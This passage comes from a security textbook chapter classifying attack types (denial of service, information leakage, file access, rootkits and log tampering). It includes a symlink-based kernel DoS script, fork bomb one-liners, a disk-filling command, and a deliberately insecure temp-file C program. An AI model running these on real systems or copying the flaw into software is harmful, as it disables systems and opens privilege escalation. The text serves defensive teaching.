regarding the severity of attack is something we should look into for a little
better understanding. Attacks can lead to anything from leaving your systems
without the ability to function, to giving a remote attacker complete control of
your systems to do whatever he pleases.We discuss severity of attacks later in this
chapter, placing them on a line of severity. Let¡¦s first look at the different types of
attacks and discuss them.
In this section, we examine seven categorized attack types.These seven attack
types are the general criteria used to classify security issues:
 Denial of service
 Information leakage
 Regular file access
 Misinformation
 Special file/database access
 Remote arbitrary code execution
 Elevation of privileges
www.syngress.com
www.syngress.com
Denial of Service
What is a denial of service (DoS) attack? A DoS attack takes place when availability
to a resource is intentionally blocked or degraded by an attacker. In other
words, the attack impedes the availability of the resource to its regular authorized
users.These types of attacks can occur through one of two vectors: either on the
local system, or remotely from across a network.The attack may concentrate on
degrading processes, degrading storage capability, destroying files to render the
resource unusable, or shutting down parts of the system or processes. Let¡¦s take a
closer look at each of these items.
Local Vector Denial of Service
Local denial of service attacks are common, and in many cases, preventable.
Although any type of denial of service can be frustrating and costly, local denial
of service attacks are typically the most preferable to encounter. Given the right
security infrastructure, these types of attacks are easily traced, and the attacker is
easily identified.
Three common types of local denial of service attacks are process degradation,
disk space exhaustion, and index node (inode) exhaustion.
Process Degradation
One local denial of service is the degrading of processes.This occurs when the
attacker reduces performance by overloading the target system, by either
spawning multiple processes to eat up all available resources of the host system, by
spawning enough processes to fill to capacity the system process table, or by
spawning enough processes to overload the central processing unit (CPU).
An example of this type of attack is exhibited through a recent vulnerability
discovered in the Linux kernel. By creating a system of deep symbolic links, a
user can prevent the scheduling of other processes when an attempt to dereference
the symbolic link is made. Upon creating the symbolic links, then
attempting to perform a head or cat of one of the deeply linked files, the process
scheduler is blocked, therefore preventing any other processes on the system from
receiving CPU time.The following is source code of mklink.sh; this shell script
will create the necessary links on an affected system (this problem was not fully
fixed until Linux kernel version 2.4.12):
#!/bin/sh
# by Nergal
Classes of Attack ¡E Chapter 3 47
48 Chapter 3 ¡E Classes of Attack
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=""
I=0
while [ $I -lt $ELNUM ] ; do
P=$P"$EL"
I=$(($I+1))
done
ln -s "$P"l$2 l$IND
}
#main program
if [ $# != 1 ] ; then
echo A numerical argument is required.
exit 0
fi
ELNUM=$1
mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l
Another type of local denial of service attack is the fork bomb.This problem is
not Linux-specific, and it affects a number of other operating systems on various
platforms.The fork bomb is easy to implement using the shell or C.The code for
shell is as follows:
($0 & $0 &)
www.syngress.com
Classes of Attack ¡E Chapter 3 49
The code for C is as follows:
(main() {for(;fork();})
In both of these scenarios, an attacker can degrade process performance with
varying effects¡Xthese effects may be as minimal as making a system perform
slowly, or they may be as extreme as monopolizing system resources and causing
a system to crash.
Disk Space Exhaustion
Another type of local attack is one that fills disk space to capacity. Disk space is a
finite resource. Previously, disk space was an extremely expensive resource,
although the current industry has brought the price of disk storage down signifi-
cantly.Though you can solve many of the storage complications with solutions
such as disk arrays and software that monitors storage abuse, disk space will continue
to be a bottleneck to all systems. Software-based solutions such as per-user
storage quotas are designed to alleviate this problem.
This type of attack prevents the creation of new files and the growth of
existing files. An added problem is that some UNIX systems will crash when the
root partition reaches storage capacity. Although this isn¡¦t a design flaw on the
part of UNIX itself, a properly administered system should include a separate
partition for the log facilities, such as /var, and a separate partition for users, such
as the /home directory on Linux systems, or /export/home on Sun systems.
Attackers can use this type of denial of service to crash systems, such as when
a disk layout hasn¡¦t been designed with user and log partitions on a separate slice.
They can also use it to obscure activities of a user by generating a large amount
of events that are logged to via syslog, filling the partition on which logs are
stored and making it impossible for syslog to log any further activity.
Such an attack is trivial to launch. A local user can simply perform the following
command:
cat /dev/zero > ~/maliciousfile
This command will concatenate data from the /dev/zero device file (which
simply generates zeros) into maliciousfile, continuing until either the user stops the
process, or the capacity of the partition is filled.
A disk space exhaustion attack could also be leveraged through such attacks as
mail bombing. Although this is an old concept, it is not commonly seen.The reasons
are perhaps that mail is easily traced via SMTP headers, and although open
relays can be used, finding the purveyor of a mail bomb is not rocket science. For
www.syngress.com
50 Chapter 3 ¡E Classes of Attack
this reason, most mail bombers find themselves either without Internet access,
jailed, or both.
Inode Exhaustion
The last type of local denial of service attack we discuss is inode exhaustion, similar
to the disk capacity attack. Inode exhaustion attacks are focused specifically
on the design of the file system.The term inode is an acronym for the words index
node. Index nodes are an essential part of the UNIX file system.
An inode contains information essential to the management of the file
system.This information includes, at a minimum, the owner of a file, the group
membership of a file, the type of file, the permissions, size, and block addresses
containing the data of the file.When a file system is formatted, a finite number of
inodes are created to handle the indexing of files with that slice.
An inode exhaustion attack focuses on using up all the available inodes for
the partition. Exhaustion of these resources creates a similar situation to that of
the disk space attack, leaving the system unable to create new files.This type of
attack is usually leveraged to cripple a system and prevent the logging of system
events, especially those activities of the attacker.
Network Vector Denial of Service
Denial of service attacks launched via a network vector can essentially be broken
down into one of two categories: an attack that affects a specific service, or an attack
that targets an entire system.The severity and danger of these attacks vary signifi-
cantly.These types of attacks are designed to produce inconvenience, and are
often launched as a retaliatory attack.
To speak briefly about the psychology behind these attacks, network vector
denial of service attacks are, by and large, the choice method of cowards.The reasons,
ranging from digital vigilantism to Internet Relay Chat (IRC) turf wars,
matter not. Freely and readily available tools make a subculture (and I¡¦ll borrow
the term coined by Jose Oquendo¡Xalso known as sil of antioffline.com fame)
called script kiddiots possible.The term script kiddiot, broken down into base form,
would define script as ¡§a prewritten program to be run by a user,¡¨ and kiddiot
being a combination of the words kid and idiot. Fitting.The availability of these
tools gives these individuals the power of anonymity and ability to cause a nuisance,
while requiring little or no technical knowledge.The only group with
more responsibility for these attacks than the script kiddiots is the group of professionals
who continue to make them possible through such things as lack of
egress filtering.
www.syngress.com
Classes of Attack ¡E Chapter 3 51
Network vector attacks, as mentioned, can affect specific services or an entire
system; depending on who is targeted and why, these types of attacks include
client, service, and system-directed denials of service.The following sections look at
each of these types of denial of service in a little more detail.
Client-Side Network DoS
Client-side denials of service are typically targeted at a specific product.Their purpose
is to render the user of the client incapable of performing any activity with
the client. One such attack is through the use of what¡¦s called JavaScript bombs.
By default, most Web browsers enable JavaScript.This is apparent anytime one
visits a Web site, and a pop-up or pop-under ad is displayed. However, JavaScript
can also be used in a number of malicious ways, one of which is to launch a
denial of service attack against a client. Using the same technique that advertisers
use to create a new window with an advertisement, an attacker can create a malicious
Web page consisting of a never-ending loop of window creation.The end
result is that so many windows are ¡§popped up,¡¨ the system becomes resourcebound.
This is an example of a client-side attack, denying service to the user by exercising
a resource starvation attack as we previously discussed, but using the network
as a vector.This is only one of many client-side attacks, with others
affecting products such as the AOL Instant Messenger, the ICQ Instant Message
Client, and similar software.
Service-Based Network DoS
Another type of denial of service attack launched via networks is service-based
attacks. A service based attack is intended to target a specific service, rendering it
unavailable to legitimate users.These attacks are typically launched at a service
such as a Hypertext Transfer Protocol Daemon (HTTPD), Mail Transport Agent
(MTA), or other such service that users typically require.
An example of this problem is a vulnerability that was discovered in the Web
configuration infrastructure of the Cisco Broadband Operating System (CBOS).
When the Code Red worm began taking advantage of Microsoft¡¦s Internet
Information Server (IIS) 5.0 Web servers the world over, the worm was discovered
to be indiscriminate in the type of Web server it attacked. It would scan networks
searching for Web servers, and attempt to exploit any Web server it
encountered.
www.syngress.com
52 Chapter 3 ¡E Classes of Attack
A side effect of this worm was that although some hosts were not vulnerable
to the malicious payload it carried, some hosts were vulnerable in a different way.
CBOS was one of these scenarios. Upon receiving multiple Transmission Control
Protocol (TCP) connections via port 80 from Code Red infected hosts, CBOS
would crash.
Though this vulnerability was discovered as a casualty of another, the problem
could be exploited by a user with one of any readily available network auditing
tools. After attack, the router would be incapable of configuration, requiring a
power-cycling of the router to make the configuration facility available.This is a
classic example of an attack directed specifically at one service.
System-Directed Network DoS
A denial of service directed towards a system via the network vector is typically
used to produce the same results as a local denial of service: degrading performance
or making the system completely unavailable.A few approaches are typically
seen in this type of attack, and they basically define the methods used in
entirety. One is using an exploit to attack one system from another, leaving the
target system inoperable.This type of attack was displayed by the land.c, Ping of
Death, and teardrop exploits of a couple years ago, and the various TCP/IP fragmented
packet vulnerabilities in products such as D-Link routers and the
Microsoft ISA Server.
Also along this line is the concept of SYN flooding.This attack can be
launched in a variety of ways, from either one system on a network faster than
the target system to multiple systems on large pipes.This type of attack is used
mainly to degrade system performance.The SYN flood is accomplished by
sending TCP connection requests faster than a system can process them.The
target system sets aside resources to track each connection, so a great number of
incoming SYNs can cause the target host to run out of resources for new legitimate
connections.The source IP address is, as usual, spoofed so that when the
target system attempts to respond with the second portion of the three-way
handshake, a SYN-ACK (synchronization-acknowledgment), it receives no
response. Some operating systems will retransmit the SYN-ACK a number of
times before releasing the resources back to the system.The exploit code for the
SYN flooder syn4k.c was written by Zakath.This SYN flooder allows you to
select an address the packets will be spoofed from, as well as the ports to flood on
the victim¡¦s system.We did not include the code here for the sake of brevity, but
you can download it at www.cotse.com/sw/dos/syn/synk4.c.
www.syngress.com
Classes of Attack ¡E Chapter 3 53
One can detect a SYN flood coming from the preceding code by using a
variety of tools, such as the netstat command shown in Figure 3.1, or through
infrastructure such as network intrusion detection systems (IDSs).
On several operating system platforms, using the ¡Vn parameter displays
addresses and port numbers in numerical format, and the ¡Vp switch allows you to
select only the protocol you are interested in viewing.This prevents all User
Datagram Protocol (UDP) connections from being shown so that you can view
only the connections you are interested in for this particular attack. Check the
documentation for the version of netstat that is available on your operating system
to ensure that you use the correct switches.
Additionally, some operating systems support features such as TCP SYN
cookies. Using SYN cookies is a method of connection establishment that uses
cryptography for security.When a system receives a SYN, it returns a
www.syngress.com
Figure 3.1 Using netstat to Detect Incoming SYN Connections
54 Chapter 3 ¡E Classes of Attack
SYN+ACK, as though the SYN queue is actually larger.When it receives an
ACK back from the initiating system, it uses the recent value of the 32-bit time
counter modulus 32, and passes it through the secret server-side function. If the
value fits, the extracted maximum segment size (MSS) is used, and the SYN
queue entry rebuilt.
Let¡¦s also look at the topic of smurfing or packeting attacks, which are typically
purveyed by the previously mentioned script kiddiots.The smurf attack performs
a network vector denial of service against the target host.This attack relies on an
intermediary, the router, to help, as shown in Figure 3.2.The attacker, spoofing
the source IP address of the target host, generates a large amount of Internet
Control Message Protocol (ICMP) echo traffic directed toward IP broadcast
addresses.The router, also known as a smurf amplifier, converts the IP broadcast to
a Layer 2 broadcast and sends it on its way. Each host that receives the broadcast
responds back to the spoofed source IP with an echo reply. Depending on the
number of hosts on the network, both the router and target host can be inundated
with traffic.This can result in the decrease of network performance for the
host being attacked, and depending on the number of amplifier networks used,
the target network becoming saturated to capacity.
www.syngress.com
Figure 3.2 Diagram of a Smurf Attack
Router
IBM AS/400 IBM 3174 Cray Supercomputer
Attacker sends spoofed ICMP
packets to a smurf amplifying network.
Packets enter router, and all hosts on the
network respond to the spoofed source address.
The target machine receives large amounts
of ICMP ECHO traffic, degrading performance.
Internet
Classes of Attack ¡E Chapter 3 55
The last system-directed denial of service attack using the network vector is
distributed denial of service (DDoS).This concept is similar to that of the previously
mentioned smurf attack.The means of the attack, and method of which it is
leveraged, however, is significantly different from that of smurf.
This type of attack depends on the use of a client, masters, and daemons (also
called zombies). Attackers use the client to initiate the attack by using masters,
which are compromised hosts that have a special program on them allowing the
control of multiple daemons. Daemons are compromised hosts that also have a
special program running on them, and are the ones that generate the flow of
packets to the target system.The current crop of DDoS tools includes trinoo,
Tribe Flood Network,Tribe Flood Network 2000, stacheldraht, shaft, and
mstream. In order for the DDoS to work, the special program must be placed on
dozens or hundreds of ¡§agent¡¨ systems. Normally an automated procedure looks
for hosts that can be compromised (buffer overflows in the remote procedure call
[RPC] services statd, cmsd, and ttdbserverd, for example), and then places the special
program on the compromised host. Once the DDoS attack is initiated, each
of the agents sends the heavy stream of traffic to the target, inundating it with a
flood of traffic.To learn more about detection of DDoS daemon machines, as
well as each of the DDoS tools, visit David Dittrich¡¦s Web site at
http://staff.washington.edu/dittrich/misc/ddos.
www.syngress.com
The Code Red Worm
In July of 2001, a buffer overflow exploit for the Internet Server
Application Programming Interface (ISAPI) filter of Microsoft¡¦s IIS was
transformed into an automated program called a worm. The worm
attacked IIS systems, exploited the hole, then used the compromised
system to attack other IIS systems. The worm was designed to do two
things, the first of which was to deface the Web page of the system it
had infected. The second function of the worm was to coordinate a
DDoS attack against the White House. The worm ended up failing,
missing its target, mostly due to quick thinking of White House IT staff.
The effects of the worm were not limited to vulnerable Windows
systems, or the White House. The attack cluttered logs of HTTP servers
Notes from the Underground¡K
Continued
56 Chapter 3 ¡E Classes of Attack
Information Leakage
Information leakage can be likened to leaky pipes.Whenever something comes
out, it is almost always undesirable and results in some sort of damage. Information
leakage is typically an abused resource that precludes attack. In the same way that
military generals rely on information from reconnaissance troops that have penetrated
enemy lines to observe the type of weapons, manpower, supplies, and other
resources possessed by the enemy, attackers enter the network to perform the same
tasks, gathering information about programs, operating systems, and network
design on the target network.
Service Information Leakage
Information leakage occurs in many forms. Banners are one example. Banners are
the text presented to a user when they attempt to log into a system via any one
of the many services. Banners can be found on such services as File Transfer
Protocol (FTP), secure shell (SSH), telnet, Simple Mail Transfer Protocol (SMTP),
and Post Office Protocol 3 (POP3). Many software packages for these services
happily yield version information to outside users in their default configuration,
as shown in Figure 3.3.
Another similar problem is error messages. Services such as Web servers yield
more than ample information about themselves when an exception condition is
created. An exception condition is defined by a circumstance out of the ordinary,
such as a request for a page that does not exist, or a command that is not recognized.
In these situations, it is best to make use of the customizable error configurations
supplied, or create a workaround configuration. Observe Figure 3.4 for a
leaky error message from Apache.
www.syngress.com
not vulnerable to the attack, and was found to affect Cisco digital subscriber
line (DSL) routers in a special way. Cisco DSL routers with the Web
administration interface enabled were prone to become unstable and
crash when the worm attacked them, creating a denial of service. This
left users of Qwest, as well as some other major Internet service
providers, without access at the height of the worm, due to the sheer
volume of scanning.
Classes of Attack ¡E Chapter 3 57
www.syngress.com
Figure 3.3 Version of an SSH Daemon
Figure 3.4 An HTTP Server Revealing Version Information
58 Chapter 3 ¡E Classes of Attack
Protocol Information Leakage
In addition to the previously mentioned cases of information leakage, there is also
what is termed protocol analysis. Protocol analysis exists in numerous forms. One
type of analysis is using the constraints of a protocol¡¦s design against a system to
yield information about a system. Observe this FTP system type query:
elliptic@ellipse:~$ telnet parabola.cipherpunks.com 21
Trying 192.168.1.2...
Connected to parabola.cipherpunks.com.
Escape character is '^]'.
220 parabola FTP server (Version: 9.2.1-4) ready.
SYST
215 UNIX Type: L8 Version: SUNOS
This problem also manifests itself in such services as HTTP. Observe the
leakage of information through the HTTP HEAD command:
elliptic@ellipse:~$ telnet www.cipherpunks.com 80
Trying 192.168.1.2...
Connected to www.cipherpunks.com.
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Wed, 05 Dec 2001 11:25:13 GMT
Server: Apache/1.3.22 (Unix)
Last-Modified: Wed, 28 Nov 2001 22:03:44 GMT
ETag: "30438-44f-3c055f40"
Accept-Ranges: bytes
Content-Length: 1103
Connection: close
Content-Type: text/html
Connection closed by foreign host.
Attackers also perform protocol analysis through a number of other methods.
One such method is the analysis of responses to IP, an attack based on the previously
mentioned concept, but working on a lower level. Automated tools, such as
www.syngress.com
Classes of Attack ¡E Chapter 3 59
the Network Mapper, or Nmap, provide an easy-to-use utility designed to gather
information about a target system, including publicly reachable ports on the
system, and the operating system of the target. Observe the output from an
Nmap scan:
elliptic@ellipse:~$ nmap -sS -O parabola.cipherpunks.com
Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )
Interesting ports on parabola.cipherpunks.com (192.168.1.2):
(The 1533 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
Remote operating system guess: Solaris 2.6 - 2.7
Uptime 5.873 days (since Thu Nov 29 08:03:04 2001)
Nmap run completed ¡X 1 IP address (1 host up) scanned in 67 seconds
First, let¡¦s explain the flags used to scan parabola.The sS flag uses a SYN scan,
exercising half-open connections to determine which ports are open on the host.
The O flag tells Nmap to identify the operating system, if possible, based on
known responses stored in a database. As you can see, Nmap was able to identify
all open ports on the system, and accurately guess the operating system of
parabola (which is actually a Solaris 7 system running on a Sparc).
NOTE
One notable project related to information leakage is the research being
conducted by Ofir Arkin on ICMP. Ofir¡¦s site, www.sys-security.com, has
several papers available that discuss the methods of using ICMP to
gather sensitive information. Two such papers are ¡§Identifying ICMP
Hackery Tools Used In The Wild Today,¡¨ and ¡§ICMP Usage In Scanning¡¨
available at www.sys-security.com/html/papers.html. They¡¦re not for the
technically squeamish, but yield a lot of good information.
www.syngress.com
60 Chapter 3 ¡E Classes of Attack
All of these types of problems present information leakage, which could lead
to an attacker gaining more than ample information about your network to
launch a strategic attack.
Leaky by Design
This overall problem is not specific to system identification. Some programs happily
and willingly yield sensitive information about network design. Protocols
such as Simple Network Management Protocol (SNMP) use clear text communication
to interact with other systems.To make matters worse, many SNMP
implementations yield information about network design with minimal or easily
guessed authentication requirements, ala community strings.
Sadly, SNMP is still commonly used. Systems such as Cisco routers are
capable of SNMP. Some operating systems, such as Solaris, install and start SNMP
facilities by default. Aside from the other various vulnerabilities found in these
programs, their default use is plain bad practice.
Leaky Web Servers
We previously mentioned some Web servers telling intrusive users about themselves
in some scenarios.This is further complicated when things such as PHP,
Common Gateway Interface (CGI), and powerful search engines are used. Like
any other tool, these tools can be used in a constructive and creative way, or they
can be used to harm.
Things such as PHP, CGI, and search engines can be used to create interactive
Web experiences, facilitate commerce, and create customizable environments for
users.These infrastructures can also be used for malicious deeds if poorly
designed. A quick view of the Attack Registry and Intelligence Service (ARIS)
shows the number three type of attack as the ¡§Generic Directory Traversal
Attack¡¨ (preceded only by the ISAPI and cmd.exe attacks, which, as of the time
of current writing, are big with Code Red and Nimda variants).This is, of
course, the dot-dot (..) attack, or the relative path attack (¡K) exercised by
including dots within the URL to see if one can escape a directory and attain a
listing, or execute programs on the Web server.
Scripts that permit the traversal of directories not only allow one to escape
the current directory and view a listing of files on the system, but they allow an
attacker to read any file readable by the HTTP server processes ownership and
group membership.This could allow a user to gain access to the passwd file in
/etc or other nonprivileged files on UNIX systems, or on other implementations,
www.syngress.com
Classes of Attack ¡E Chapter 3 61
such as Microsoft Windows OSs, which could lead to the reading of (and, potentially,
writing to) privileged files.Any of the data from this type of attack could
be used to launch a more organized, strategic attack.Web scripts and applications
should be the topic of diligent review prior to deployment. More information
about ARIS is available at http://aris.securityfocus.com.
A Hypothetical Scenario
Other programs, such as Sendmail, will in many default implementations yield
information about users on the system.To make matters worse, these programs
use the user database as a directory for e-mail addresses. Although some folks may
scoff at the idea of this being information leakage, take the following example
into account.
A small town has two Internet service providers (ISPs). ISP A is a newer ISP,
and has experienced a significant growth in customer base. ISP B is the older ISP
in town, with the larger percentage of customers. ISP B is fighting an all-out war
with ISP A, obviously because ISP A is cutting into their market, and starting to
gain ground on ISP B. ISP A, however, has smarter administrators that have taken
advantage of various facilities to keep users from gaining access to sensitive information,
using tricks such as hosting mail on a separate server, using different
logins on the shell server to prevent users from gaining access to the database of
mail addresses. ISP B, however, did not take such precautions. One day, the staff of
ISP A get a bright idea, and obtains an account with ISP B.This account gives
them a shell on ISP B¡¦s mail server, from which the passwd file is promptly
snatched, and all of its users mailed about a great new deal at ISP A offering
them no setup fee to change providers, and a significant discount under ISP B¡¦s
current charges.
As you can see, the leakage of this type of information can not only impact
the security of systems, it can possibly bankrupt a business. Suppose that a company
gained access to the information systems of their competitor.What is to
stop them from stealing, lying, cheating, and doing everything they can to undermine
their competition? The days of Internet innocence are over.
Why Be Concerned with Information Leakage?
Some groups are not concerned with information leakage.Their reasons for
this are varied, including reasons such as the leakage of information can never
be stopped, or that not yielding certain types of information from servers will
break compliance with clients.This also includes the fingerprinting of systems,
www.syngress.com
62 Chapter 3 ¡E Classes of Attack
performed by matching a set of known responses by a system type to a table
identifying the operating system of the host.
Any intelligently designed operating system will at least give the option of
either preventing fingerprinting, or creating a fingerprint difficult to identify
without significant overhaul. Some go so far as to even allow the option of
sending bogus fingerprints to overly intrusive hosts.The reasons for this are clear.
Referring back to our previous scenario about military reconnaissance, any group
that knows they are going to be attacked are going to make their best effort to
conceal as much information about themselves as possible, in order to gain the
advantage of secrecy and surprise.This could mean moving, camouflaging, or
hiding troops, hiding physical resources, encrypting communications, and so
forth.This limiting of information leakage leaves the enemy to draw their own
conclusions with little information, thus increasing the margin of error.
Just like an army risking attack by a formidable enemy, you must do your best
to conceal your network resources from information leakage and intelligence gathering.
Any valid information the attacker gains about one¡¦s position and perimeter
gives the attacker intelligence from which they may draw conclusions and fabricate
a strategy. Sealing the leakage of information forces the attacker to take more intrusive
steps to gain information, increasing the probability of detection.
Regular File Access
Regular file access can give an attacker several different means from which to
launch an attack. Regular file access may allow an attacker to gain access to sensitive
information, such as the usernames or passwords of users on a system, as we
discussed briefly in the ¡§Information Leakage¡¨ section. Regular file access could
also lead to an attacker gaining access to other files in other ways, such as changing
the permissions or ownership of a file, or through a symbolic link attack.
Permissions
One of the easiest ways to ensure the security of a file is to ensure proper permissions
on the file.This is often one of the more overlooked aspects of system
security. Some single-user systems, such as the Microsoft Windows 3.1/95/
98/ME products, do not have a permission infrastructure. Multiuser hosts have
at least one, and usually several means of access control.
For example, UNIX systems and some Windows systems both have users and
groups. UNIX systems, and Windows systems to some extent, allow the setting of
attributes on files to dictate what user, and what group have access to perform
www.syngress.com
Classes of Attack ¡E Chapter 3 63
certain functions with a file. A user, or the owner of the file, may be authorized
complete control over the file, having read, write, and execute permission over
the file, while a user in the group assigned to the file may have permission to
read, and execute the file. Additionally, users outside of the owner and group
members may have a different set of permissions, or even no permissions at all.
Many UNIX systems, in addition to the standard permission set of owner,
group, and world, include a more granular method of allowing access to a file.
These infrastructures vary in design, offering something as simple as the capability
to specify which users have access to a file, to something as complex as assigning
a member a role to allow a user access to a variety of utilities.The Solaris operating
system has two such examples: Role-Based Access Control (RBAC), and
Access Control Lists (ACLs).
ACLs allow a user to specify which particular system users are permitted
access to a file.The access list is tied to the owner and the group membership. It
additionally uses the same method of permissions as the standard UNIX permission
infrastructure.
RBAC is a complex tool, providing varying layers of permission. It is customizable,
capable of giving a user a broad, general role to perform functions
such as adding users, changing some system configuration variables, and the like.
It can also be limited to giving a user one specific function.
NOTE
More information about RBAC and ACLs are available in Syngress
Publishing¡¦s Hack Proofing Sun Solaris 8 (ISBN 1-928994-44-X).
Symbolic Link Attacks
Symbolic link attacks are a problem that can typically be used by an attacker to
perform a number of different functions.They can be used to change the permissions
on a file.They can also be used to corrupt a file by appending data to it or
by overwriting a file completely, destroying the contents.
Symbolic link attacks are often launched from the temporary directory of a
system.The problem is usually due to a programming error.When a vulnerable
program is run, it creates a file with one of a couple attributes that make it vulnerable
to being attacked.
www.syngress.com
64 Chapter 3 ¡E Classes of Attack
One attribute making the file vulnerable is permissions. If the file has been
created with insecure permissions, the system will allow an attacker to alter it.
This will permit the attacker to change the contents of the temporary file.
Depending on the design of the program, if the attacker is able to alter the temporary
file, any input placed in the temporary file could be passed to the user¡¦s
session.
Another attribute making the file vulnerable is the creation of insecure temporary
files. In a situation where a program does not check for an existing file
before creating it, and a user can guess the name of a temporary file before it is
created, this vulnerability may be exploited.The vulnerability is exploited by creating
a symbolic link to the target file, using a guessed file name that will be used
in the future.The following example source code shows a program that creates a
predictable temporary file:
/* lameprogram.c - Hal Flynn <mrhal@mrhal.com> */
/* does not perform sufficient checks for a */
/* file before opening it and storing data */
#include <stdio.h>
#include <unistd.h>
int main()
{
char a[] = "This is my own special junk data storage.\n";
char junkpath[] = "/tmp/junktmp";
FILE *fp;
fp = fopen(junkpath, "w");
fputs(a, fp);
fclose(fp);
unlink(junkpath);
return(0);
}
This program creates the file /tmp/junktmp without first checking for the
existence of the file.
www.syngress.com
Classes of Attack &iexcl;E Chapter 3 65
When the user executes the program that creates the insecure temporary file,
if the file to be created already exists in the form of a symbolic link, the file at
the end of the link will be either overwritten or appended.This occurs if the user
executing the vulnerable program has write-access to the file at the end of the
symbolic link. Both of these types of attacks can lead to an elevation of privileges.
Figures 3.5 and 3.6 show an exploitation of this program by user haxor to
overwrite a file owned by the user ellipse.
Misinformation
The concept of misinformation can present itself in many ways. Let&iexcl;&brvbar;s go back to
the military scenario. Suppose that guards are posted at various observation points
in the field, and one of them observes the enemy&iexcl;&brvbar;s reconnaissance team.The
guard alerts superiors, who send out their own reconnaissance team to find out
exactly who is spying on them.
www.syngress.com
Figure 3.5 Haxor Creates a Malicious Symbolic Link
66 Chapter 3 &iexcl;E Classes of Attack
Now, you can guess that the enemy general has already thought about this
scenario. Equally likely, he has also considered his options. He could hide all of
his troops and make it appear as if nobody is there.&iexcl;§But what if somebody saw
my forces entering the area&iexcl;&uml; would be his next thought. And if the other side
were to send a &iexcl;§recon&iexcl;&uml; team to scope out his position and strength, discovering
his army greater than theirs, they would likely either fortify their position, or
move to a different position where they would be more difficult to attack, or
where they could not be found.
Therefore, he wants to make his forces seem like less of a threat than they
really are. He hides his heavy weapons, and the greater part of his infantry, while
allowing visibility of only a small portion of his force.This is the same idea
behind misinformation.
www.syngress.com
Figure 3.6 Ellipse Executes the Lameprogram, and the Data in Lamedata
Is Overwritten
Classes of Attack &iexcl;E Chapter 3 67
Standard Intrusion Procedure
The same concept of misinformation applies to systems.When an attacker has
compromised a system, much effort is made to hide her presence and leave as
much misinformation as possible. Attackers do this in any number of ways.
One vulnerability in Sun Solaris can be taken advantage of by an attacker to
send various types of misinformation.The problem is due to the handling of
ACLs on pseudo-terminals allocated by the system. Upon accessing a terminal,
the attacker could set an access control entry, then exit the terminal.When
another user accessed the system using the same terminal, the previous owner of
the terminal would retain write access to the terminal, allowing the previous
owner to write custom-crafted information to the new owner&iexcl;&brvbar;s terminal.The
following sections look at some of the methods used.
Log Editing
One method used by an attacker to send misinformation is log editing.When an
attacker compromises a system, the desire is to stay unnoticed and untraceable as
long as possible. Even better is if the attacker can generate enough noise to make
the intrusion unnoticeable or to implicate somebody else in the attack.
Let&iexcl;&brvbar;s go back to the previous discussion about denial of service.We talked about
generating events to create log entries. An attacker could make an attempt to fill
the log files, but a well-designed system will have plenty of space and a log rotation
facility to prevent this. Instead, the attacker could resort to generating a large
amount of events in an attempt to cloak their activity. Under the right circumstances,
an attacker could create a high volume of various log events, causing one or
more events that look similar to the entry made when an exploit is initiated.
If the attacker gains administrative access on the system, any hopes of log
integrity are lost.With administrative access, the attacker can edit the logs to
remove any event that may indicate intrusion, or even change the logs to implicate
another user in the attack. In the event of this happening, only outside systems
that may be collecting system log data from the compromised machine or
network intrusion detection systems may offer data with any integrity.
Some tools include options to generate random data and traffic.This random
data and traffic is called noise, and is usually used as either a diversionary tactic or
an obfuscation technique. Noise can be used to fool an administrator into
watching a different system or believing that a user other than the attacker, or
several attackers, are launching attacks against the system.
www.syngress.com
68 Chapter 3 &iexcl;E Classes of Attack
The goal of the attacker editing the logs is to produce one of a few effects.
One effect would be the state of system well-being, as though nothing has happened.
Another effect would be general and total confusion, such as conflicting
log entries or logs fabricated to look as though a system process has gone wild&iexcl;X
as said earlier, noise. Some tools, such as Nmap, include decoy features.The decoy
feature can create this effect by making a scan look as though it is coming from
several different hosts.
Rootkits
Another means of misinformation is the rootkit. A rootkit is a ready-made program
designed to hide an attacker&iexcl;&brvbar;s activities inside a system. Several different
types of rootkits exist, all with their own features and flaws. Rootkits are an
attacker&iexcl;&brvbar;s first choice for keeping access to a system on a long-term basis.
A rootkit works by replacing key programs on the system, such as ls, df, du, ps,
sshd, and netstat on UNIX systems, or drivers, and Registry entries on Windows
systems.The rootkit replaces these programs, and possibly others with the programs
it contains, which are customized to not give administrative staff reliable
details. Rootkits are used specifically to cloak the activity of the attacker and hide
his presence inside the system.
These packages are specifically designed to create misinformation.They create
an appearance of all being well on the system. In the meantime, the attacker controls
the system and launches attacks against new hosts, or he conducts other
nefarious activities.
Kernel Modules
Kernel modules are pieces of code that may be loaded and unloaded by a running
kernel. A kernel module is designed to provide additional functionality to a
kernel when needed, allowing the kernel to unload the module when it is no
longer needed to lighten the memory load. Kernel modules can be loaded to
provide functionality such as support of a non-native file system or device control.
Kernel modules may also have facinorous purposes.
Malicious kernel modules are similar in purpose to rootkits.They are
designed to create misinformation, leading administrators of a system to believe
that all is well on the host.The module provides a means to cloak the attacker,
allowing the attacker to carry out any desired deeds on the host.
The kernel module functions in a different way from the standard rootkit.
The programs of the rootkit act as a filter to prevent any data that may be
incriminating from reaching administrators.The kernel module works on a much
www.syngress.com
Classes of Attack &iexcl;E Chapter 3 69
lower level, intercepting information queries at the system call level, and filtering
out any data that may alert administrative staff to the presence of unauthorized
guests.This allows an attacker to compromise and backdoor a system without the
danger of modifying system utilities, which could lead to detection.
Kernel modules are becoming the standard in concealing intrusion. Upon
intrusion, the attacker must simply load the module, and ensure that the module
is loaded in the future by the system to maintain a degree of stealth that is diffi-
cult to discover. From that point on, the module may never be discovered unless
the drive is taken offline and mounted under a different instance of the operating
system.
Special File/Database Access
Two other methods used to gain access to a system are through special files and
database access.These types of files, although different in structure and function,
exist on all systems and all platforms. From an NT system to a Sun Enterprise
15000 to a Unisys Mainframe, these files are common amongst all platforms.
Attacks against Special Files
The problem of attacks against special files becomes apparent when a user uses
the RunAs service of Windows 2000.When a user executes a program with the
RunAs function,Windows 2000 creates a named pipe on the system, storing the
credentials in clear text. If the RunAs service is stopped, an attacker may create a
named pipe of the same name.When the RunAs service is used again, the credentials
supplied to the process will be communicated to the attacker.This allows
an attacker to steal authentication credentials, and could allow the user to log in
as the RunAs user.
Attackers can take advantage of similar problems in UNIX systems. One such
problem is the Solaris pseudo-terminal problems we mentioned previously. Red
